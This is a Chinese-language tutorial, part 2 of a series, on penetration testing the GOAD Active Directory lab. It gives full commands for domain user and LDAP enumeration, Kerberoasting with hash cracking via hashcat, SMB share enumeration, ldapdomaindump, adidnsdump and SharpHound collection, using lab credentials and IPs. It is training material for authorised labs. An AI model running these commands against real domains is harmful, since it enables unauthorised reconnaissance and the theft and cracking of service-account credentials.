GOAD 域渗透教程 2:域用户枚举、Kerberoasting、BloodHound 与 DNS 信息收集
在上一篇 《GOAD 域渗透教程 1:内网扫描、域控识别与初始域用户获取》 中,我们已经拿到了第一批域用户。这一篇继续做域信息收集与凭据扩展,重点演示域用户枚举、Kerberoasting、主机信息收集、SMB 枚举、ADIDNS 枚举,以及用 BloodHound 梳理攻击路径。
系列进度: 第 2/5 篇|上一篇:内网扫描、域控识别与初始域用户获取|下一篇:Responder 投毒、NTLM Relay、mitm6 与 LDAP 中继
实验范围: 使用 Part1 获取的 GOAD 靶场域用户作为输入;所有命令仅用于隔离、授权的实验环境。
这篇文章会学到什么
- 如何在拿到一个域账户后快速枚举整套域用户与主机信息
- 如何通过 Kerberoasting 获取可离线破解的服务票据
- 如何使用 ldapdomaindump、adidnsdump 与 SMB 枚举补全攻击面
- 如何借助 BloodHound 梳理域内横向与提权路径
输入与产出
| 阶段 | 输入 | 应保留的产出 |
|---|---|---|
| 目录服务枚举 | Part1 获取的有效域用户 | 用户、组、信任、主机与 LDAP 查询结果 |
| 服务账户分析 | 域用户与域控地址 | SPN 列表、Kerberoasting 票据与离线破解结果 |
| 主机与 DNS 枚举 | 已知网段和可用凭据 | SMB 共享、系统信息、DNS 记录与资产对应关系 |
| 图谱分析 | SharpHound ZIP | 可验证的横向移动与提权路径假设 |
完成标志: 输出可复查的用户、主机、SPN、DNS 与 BloodHound 收集文件,而不只保留终端截图。
目录服务枚举:用户与信任信息
当我们在获取到一个域账户后,首先要做的事情就是获取用户列表。
impacket-GetADUsers
1 | impacket-GetADUsers -all north.sevenkingdoms.local/samwell.tarly:Heartsbane -dc-ip 192.168.56.11 |
1 | Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies |
ldapsearch
关于 LDAP 查询,我推荐这篇文章:Useful LDAP queries for pentesting。里面基本把常用查询都列全了。
1 | ldapsearch -H ldap://192.168.56.11 -D "samwell.tarly@north.sevenkingdoms.local" -w Heartsbane -b 'DC=north,DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" | grep 'distinguishedName:' |

通过ldap查询,我们也可以查询到其他域上的用户,因为存在域信任。
- 查询
sevenkingdoms.local
1 | ldapsearch -H ldap://192.168.56.10 -D "samwell.tarly@north.sevenkingdoms.local" -w Heartsbane -b 'DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" | grep 'distinguishedName:' |

服务账户与 Kerberoasting
在域中,经常能看到设置了SPN的用户
impacket-GetUserSPNs
我们可以用impacket来查找他们
1 | impacket-GetUserSPNs -request -dc-ip 192.168.56.11 north.sevenkingdoms.local/samwell.tarly:Heartsbane -outputfile kerberoasting.hashes |
1 | Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies |
这样就把哈希保存到了 kerberoasting.hashes。
使用hashcat破解
1 | hashcat -m 13100 --force -a 0 kerberoasting.hashes /usr/share/wordlists/rockyou.txt --force |

主机与服务枚举
主机名、系统与补丁信息
众所周知,Windows 偶尔会冒出一些“看见版本就想打”的洞,比如 MS17-010。所以在域里把机器名、系统版本、补丁代际先摸清楚,始终是很值得做的。

不走运的是,我们这个域内没有任何的低版本系统(在实验环境里面肯定没有啊,想啥呢,真正的域里面就看你运气咯。)
SMB 共享枚举
1 | nxc smb 192.168.56.0/24 -u jon.snow -p iknownothing --shares |

实验环境还是啥都没有,真实域环境有时候也会获取到一些有用的文档。
使用 ldapdomaindump 导出 Active Directory 信息
上面说的域信息,除了SMB枚举外,基本上用ldapdomaindump都能查询。
1 | ldapdomaindump -u 'NORTH.SEVENKINGDOMS.LOCAL\samwell.tarly' -p Heartsbane -o NORTH.SEVENKINGDOMS.LOCAL 192.168.56.11 |

通过 adidnsdump 补全 DNS 记录
再补一点 ldapdomaindump 查不到的内容:我们可以把 computer name 和 IP 对上,便于后续做更有针对性的攻击。
这个工具同样是 dirkjanm 写的:adidnsdump。
1 | ┌──(kali㉿kali)-[~/adidnsdump/adidnsdump] |
BloodHound:梳理攻击路径
最后提一下非常常用的图形化分析工具 BloodHound。
1 | .\sharphound.exe -d north.sevenkingdoms.local -c all --zipfilename bh_north_sevenkingdoms.zip |
用 SharpHound 收集完数据后,直接导入 BloodHound 即可。
如果你想深入查看BloodHound,我推荐以下文章,其中包含大量有用的信息和查询:
本文小结
- 用 LDAP 与
impacket-GetADUsers建立用户、组与信任关系的基础视图。 - 用 Kerberoasting 和离线破解验证服务账户风险,再把结果回填到资产清单。
- 将 SMB、DNS 与主机信息导入 BloodHound,优先验证有明确权限边的攻击路径。
下一步
继续阅读 《GOAD 域渗透教程 3:Responder 投毒、NTLM Relay、mitm6 与 LDAP 中继》,根据 SMB Signing、LDAP 防护与现有权限选择投毒或中继路径。
本文主要参考了 Mayfly 的思路。





